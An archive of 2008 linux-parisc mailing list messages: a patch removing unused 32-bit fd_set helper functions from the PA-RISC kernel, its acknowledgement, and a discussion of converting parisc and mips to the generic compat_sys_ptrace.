Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218940919 25938 80.91.229.12 (17 Aug 2008 02:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Aug 2008 02:41:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 17 04:42:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KUYEE-0000YQ-Q1
	for glpp-linux-parisc@gmane.org; Sun, 17 Aug 2008 04:42:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751232AbYHQClv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Aug 2008 22:41:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751350AbYHQClv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 16 Aug 2008 22:41:51 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:43241 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751232AbYHQClu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Aug 2008 22:41:50 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id m7H2fpIF024169
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 17 Aug 2008 04:41:51 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id m7H2fpA4024167
	for linux-parisc@vger.kernel.org; Sun, 17 Aug 2008 04:41:51 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Spam-Score: 0 () 
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:623
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/623>

Unless I'm totally missing something get_fd_set32/set_fd_set32 are
completely unused.


Signed-off-by: Christoph Hellwig <hch@lst.de>

Index: linux-2.6/arch/parisc/kernel/sys_parisc32.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:26.000000000 -0300
+++ linux-2.6/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:46.000000000 -0300
@@ -284,68 +284,6 @@ int cp_compat_stat(struct kstat *stat, s
 	return err;
 }
 
-/*** copied from mips64 ***/
-/*
- * Ooo, nasty.  We need here to frob 32-bit unsigned longs to
- * 64-bit unsigned longs.
- */
-
-static inline int
-get_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
-{
-	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
-	if (ufdset) {
-		unsigned long odd;
-
-		if (!access_ok(VERIFY_WRITE, ufdset, n*sizeof(u32)))
-			return -EFAULT;
-
-		odd = n & 1UL;
-		n &= ~1UL;
-		while (n) {
-			unsigned long h, l;
-			__get_user(l, ufdset);
-			__get_user(h, ufdset+1);
-			ufdset += 2;
-			*fdset++ = h << 32 | l;
-			n -= 2;
-		}
-		if (odd)
-			__get_user(*fdset, ufdset);
-	} else {
-		/* Tricky, must clear full unsigned long in the
-		 * kernel fdset at the end, this makes sure that
-		 * actually happens.
-		 */
-		memset(fdset, 0, ((n + 1) & ~1)*sizeof(u32));
-	}
-	return 0;
-}
-
-static inline void
-set_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
-{
-	unsigned long odd;
-	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
-
-	if (!ufdset)
-		return;
-
-	odd = n & 1UL;
-	n &= ~1UL;
-	while (n) {
-		unsigned long h, l;
-		l = *fdset++;
-		h = l >> 32;
-		__put_user(l, ufdset);
-		__put_user(h, ufdset+1);
-		ufdset += 2;
-		n -= 2;
-	}
-	if (odd)
-		__put_user(*fdset, ufdset);
-}

From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: missing compat_sys_ptrace conversions for mips and parisc
Date: Sun, 17 Aug 2008 13:14:34 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <48A8081A.4080609@gmx.de>
References: <20080817022924.GA23625@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218971684 16232 80.91.229.12 (17 Aug 2008 11:14:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Aug 2008 11:14:44 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 17 13:15:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KUgES-0006pX-09
	for glpp-linux-parisc@gmane.org; Sun, 17 Aug 2008 13:15:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751941AbYHQLOg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Aug 2008 07:14:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752323AbYHQLOg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 Aug 2008 07:14:36 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:58539 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751516AbYHQLOf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Aug 2008 07:14:35 -0400
Original-Received: (qmail invoked by alias); 17 Aug 2008 11:14:33 -0000
Original-Received: from mnhm-590f7207.pool.einsundeins.de (EHLO halden.box) [89.15.114.7]
  by mail.gmx.net (mp023) with SMTP; 17 Aug 2008 13:14:33 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/5451ljD35390kiqsrV6Bo311gb6qoISHqyWH2D1
	CUm0H2QJX0HvnH
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080817022924.GA23625@lst.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:624 gmane.linux.ports.mips.general:21267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/624>

Christoph Hellwig wrote:
> Currently mips and parisc are the only architectures not yet converted
> to the generic compat_sys_ptrace.  The conversion is rather trivial and
> only involves splitting the current compat_ptrace handler into a
> compat_arch_ptrace with all the meat and the existing compat_sys_ptrace
> that does all the boilerplate code, just like the generic sys_ptrace.
> To get the generic compat_sys_ptrace you have to add a
> 
> 	#define __ARCH_WANT_COMPAT_SYS_PTRACE
> 
> to ptrace.h for now, but once mips and parisc are converted this will of
> course be removed.  Take a look at the powerpc conversion as an example:
> 
> 	http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git&a=commitdiff&h=81e695c026eeda9a97e412fa4f458e5cab2f6c85

I could take care of this for parisc. Just looked into the code and it 
seems it could cleanup the code nicely as well.

But I don't want to step on Kyle's toe, since I assume he prepares the 
asm-parisc/ move in the parisc-2.6 git tree during the next days.

Kyle: any comments? Should I prepare some patches? Or do you want to 
take care of the compat_sys_ptrace yourself?

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: missing compat_sys_ptrace conversions for mips and parisc
Date: Sun, 17 Aug 2008 10:31:18 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20080817143118.7CD574E77@hiauly1.hia.nrc.ca>
References: <48A8081A.4080609@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218983489 10150 80.91.229.12 (17 Aug 2008 14:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Aug 2008 14:31:29 +0000 (UTC)
Cc: hch@lst.de, kyle@mcmartin.ca, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 17 16:32:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KUjIq-0002hR-HV
	for glpp-linux-parisc@gmane.org; Sun, 17 Aug 2008 16:32:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752501AbYHQObU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Aug 2008 10:31:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752683AbYHQObU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 Aug 2008 10:31:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3574 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752501AbYHQObU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Aug 2008 10:31:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7CD574E77; Sun, 17 Aug 2008 10:31:18 -0400 (EDT)
In-Reply-To: <48A8081A.4080609@gmx.de> from "Helge Deller" at Aug 17, 2008 01:14:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:625 gmane.linux.ports.mips.general:21268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/625>

> I could take care of this for parisc. Just looked into the code and it 
> seems it could cleanup the code nicely as well.
> 
> But I don't want to step on Kyle's toe, since I assume he prepares the 
> asm-parisc/ move in the parisc-2.6 git tree during the next days.
> 
> Kyle: any comments? Should I prepare some patches? Or do you want to 
> take care of the compat_sys_ptrace yourself?

In my builds, I noticed that there are also about five "new" syscalls 
that aren't wired up for parisc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: missing compat_sys_ptrace conversions for mips and parisc
Date: Sun, 17 Aug 2008 16:46:51 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20080817144651.GA30963@alpha.franken.de>
References: <20080817022924.GA23625@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218984609 12677 80.91.229.12 (17 Aug 2008 14:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Aug 2008 14:50:09 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-mips-bounce@linux-mips.org Sun Aug 17 16:51:01 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KUjav-0007ba-Kp
	for sgi-linux-mips@gmane.org; Sun, 17 Aug 2008 16:51:01 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:19653 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S28577550AbYHQOt4 (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Sun, 17 Aug 2008 15:49:56 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 17 Aug 2008 15:49:39 +0100 (BST)
Original-Received: from elvis.franken.de ([193.175.24.41]:43430 "EHLO elvis.franken.de")
	by ftp.linux-mips.org with ESMTP id S28577540AbYHQOtc (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Sun, 17 Aug 2008 15:49:32 +0100
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1KUjZR-0000uc-00; Sun, 17 Aug 2008 16:49:29 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id C75D8C3F17; Sun, 17 Aug 2008 16:46:51 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20080817022924.GA23625@lst.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-archive-position: 20238
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tsbogend@alpha.franken.de
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:21269 gmane.linux.ports.parisc:626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/626>

On Sun, Aug 17, 2008 at 04:29:24AM +0200, Christoph Hellwig wrote:
> Currently mips and parisc are the only architectures not yet converted

I'll send a patch for mips in a couple of minutes to Ralf.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]



From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: missing compat_sys_ptrace conversions for mips and parisc
Date: Mon, 18 Aug 2008 09:42:53 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <48A8D39D.3070005@tausq.org>
References: <20080817022924.GA23625@lst.de> <48A8081A.4080609@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219023797 9746 80.91.229.12 (18 Aug 2008 01:43:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Aug 2008 01:43:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 18 03:44:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KUtmv-0005yE-1h
	for glpp-linux-parisc@gmane.org; Mon, 18 Aug 2008 03:44:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750858AbYHRBnF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Aug 2008 21:43:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750974AbYHRBnF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 17 Aug 2008 21:43:05 -0400
Original-Received: from ti-out-0910.google.com ([209.85.142.189]:51221 "EHLO
	ti-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750858AbYHRBnD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Aug 2008 21:43:03 -0400
Original-Received: by ti-out-0910.google.com with SMTP id b6so762734tic.23
        for <linux-parisc@vger.kernel.org>; Sun, 17 Aug 2008 18:43:00 -0700 (PDT)
Original-Received: by 10.110.5.18 with SMTP id 18mr5063222tie.43.1219023780668;
        Sun, 17 Aug 2008 18:43:00 -0700 (PDT)
Original-Received: from ?192.168.100.76? ( [202.64.146.127])
        by mx.google.com with ESMTPS id b4sm6524744tic.14.2008.08.17.18.42.58
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 17 Aug 2008 18:42:59 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.16 (Windows/20080708)
In-Reply-To: <48A8081A.4080609@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:627
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/627>

> I could take care of this for parisc. Just looked into the code and it 
> seems it could cleanup the code nicely as well.
> 
> But I don't want to step on Kyle's toe, since I assume he prepares the 
> asm-parisc/ move in the parisc-2.6 git tree during the next days.

Whoever does this change, I would appreciate if you could run a gdb 
testsuite before and after and compare the results.

You can just build the debian package. I believe it runs the testsuite 
by default. (although i see from buildd.d.o that the latest version is 
FTBFS because of some header issues?)

thanks
randolph
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Mon, 18 Aug 2008 14:44:52 -0600
Lines: 97
Approved: news@gmane.org
Message-ID: <20080818204452.GA15693@colo.lackof.org>
References: <20080817024151.GA24129@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219092315 14519 80.91.229.12 (18 Aug 2008 20:45:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Aug 2008 20:45:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 18 22:46:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVBc5-0005lE-CC
	for glpp-linux-parisc@gmane.org; Mon, 18 Aug 2008 22:46:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753472AbYHRUpF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Aug 2008 16:45:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752689AbYHRUpF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Aug 2008 16:45:05 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:40982 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753472AbYHRUpE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Aug 2008 16:45:04 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EDAB4300026;
	Mon, 18 Aug 2008 14:45:02 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19605-01; Mon, 18 Aug 2008 14:44:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8BA8A300018; Mon, 18 Aug 2008 14:44:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080817024151.GA24129@lst.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/628>

On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> completely unused.

I think get_fd_set32 was replaced by compat_get_fd_set.
In any case, I didn't find any users either.

> Signed-off-by: Christoph Hellwig <hch@lst.de>

Ack-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> 
> Index: linux-2.6/arch/parisc/kernel/sys_parisc32.c
> ===================================================================
> --- linux-2.6.orig/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:26.000000000 -0300
> +++ linux-2.6/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:46.000000000 -0300
> @@ -284,68 +284,6 @@ int cp_compat_stat(struct kstat *stat, s
>  	return err;
>  }
>  
> -/*** copied from mips64 ***/
> -/*
> - * Ooo, nasty.  We need here to frob 32-bit unsigned longs to
> - * 64-bit unsigned longs.
> - */
> -
> -static inline int
> -get_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
> -{
> -	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
> -	if (ufdset) {
> -		unsigned long odd;
> -
> -		if (!access_ok(VERIFY_WRITE, ufdset, n*sizeof(u32)))
> -			return -EFAULT;
> -
> -		odd = n & 1UL;
> -		n &= ~1UL;
> -		while (n) {
> -			unsigned long h, l;
> -			__get_user(l, ufdset);
> -			__get_user(h, ufdset+1);
> -			ufdset += 2;
> -			*fdset++ = h << 32 | l;
> -			n -= 2;
> -		}
> -		if (odd)
> -			__get_user(*fdset, ufdset);
> -	} else {
> -		/* Tricky, must clear full unsigned long in the
> -		 * kernel fdset at the end, this makes sure that
> -		 * actually happens.
> -		 */
> -		memset(fdset, 0, ((n + 1) & ~1)*sizeof(u32));
> -	}
> -	return 0;
> -}
> -
> -static inline void
> -set_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
> -{
> -	unsigned long odd;
> -	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
> -
> -	if (!ufdset)
> -		return;
> -
> -	odd = n & 1UL;
> -	n &= ~1UL;
> -	while (n) {
> -		unsigned long h, l;
> -		l = *fdset++;
> -		h = l >> 32;
> -		__put_user(l, ufdset);
> -		__put_user(h, ufdset+1);
> -		ufdset += 2;
> -		n -= 2;
> -	}
> -	if (odd)
> -		__put_user(*fdset, ufdset);
> -}
> -
>  struct msgbuf32 {
>      int mtype;
>      char mtext[1];
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: missing compat_sys_ptrace conversions for mips and parisc
Date: Tue, 19 Aug 2008 08:44:22 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440808190544j18422e4fu285f65c70a6d4454@mail.gmail.com>
References: <20080817022924.GA23625@lst.de> <48A8081A.4080609@gmx.de>
	 <48A8D39D.3070005@tausq.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219149924 10024 80.91.229.12 (19 Aug 2008 12:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Aug 2008 12:45:24 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>, "Kyle McMartin" <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 19 14:46:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVQaR-0000qA-VT
	for glpp-linux-parisc@gmane.org; Tue, 19 Aug 2008 14:45:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753167AbYHSMoY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Aug 2008 08:44:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753172AbYHSMoY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 19 Aug 2008 08:44:24 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.234]:16882 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753167AbYHSMoX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Aug 2008 08:44:23 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so2499221wri.5
        for <linux-parisc@vger.kernel.org>; Tue, 19 Aug 2008 05:44:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=RVEY+Z7cP8T4EEMkgzoBzFm1phU8og0x8ByJTF+5eLE=;
        b=TF8SUAShbCCTSfPIoIM7/JZtq9l+e5e9dT/dK5QjeGtVyqHbIYxNPwFfnCCBB2K3iz
         DFvvScYK1YLjyTbQ25IGas8KFjZGijfdEJr5Lolj2rRV4xXr3//rHDksHjjEawH4tl06
         N4Ij9weLGSo4SRxmBqxt+F+uNg6HeoPzau27U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=k6YZea6/ZugXef1THS4ZjptxxwFXiY/vQTDBK0a5eNvz+MyiuzHIQ+FVo0ijLmDmY8
         ED1c6gKa9CTR/gr/DYseqCdHG8207bzapvHzXX79/Hpoz47lF06FFl6BhUeeETWHY4+j
         gFc1pABdCJmlWPUIgPwGBU2TwYpz7bz6VYaEg=
Original-Received: by 10.90.26.9 with SMTP id 9mr9387980agz.53.1219149863067;
        Tue, 19 Aug 2008 05:44:23 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Tue, 19 Aug 2008 05:44:22 -0700 (PDT)
In-Reply-To: <48A8D39D.3070005@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: 065cc8e38b32b084
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:629
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/629>

On Sun, Aug 17, 2008 at 9:42 PM, Randolph Chung <randolph@tausq.org> wrote:
>> I could take care of this for parisc. Just looked into the code and it
>> seems it could cleanup the code nicely as well.
>>
>> But I don't want to step on Kyle's toe, since I assume he prepares the
>> asm-parisc/ move in the parisc-2.6 git tree during the next days.
>
> Whoever does this change, I would appreciate if you could run a gdb
> testsuite before and after and compare the results.
>
> You can just build the debian package. I believe it runs the testsuite by
> default. (although i see from buildd.d.o that the latest version is FTBFS
> because of some header issues?)

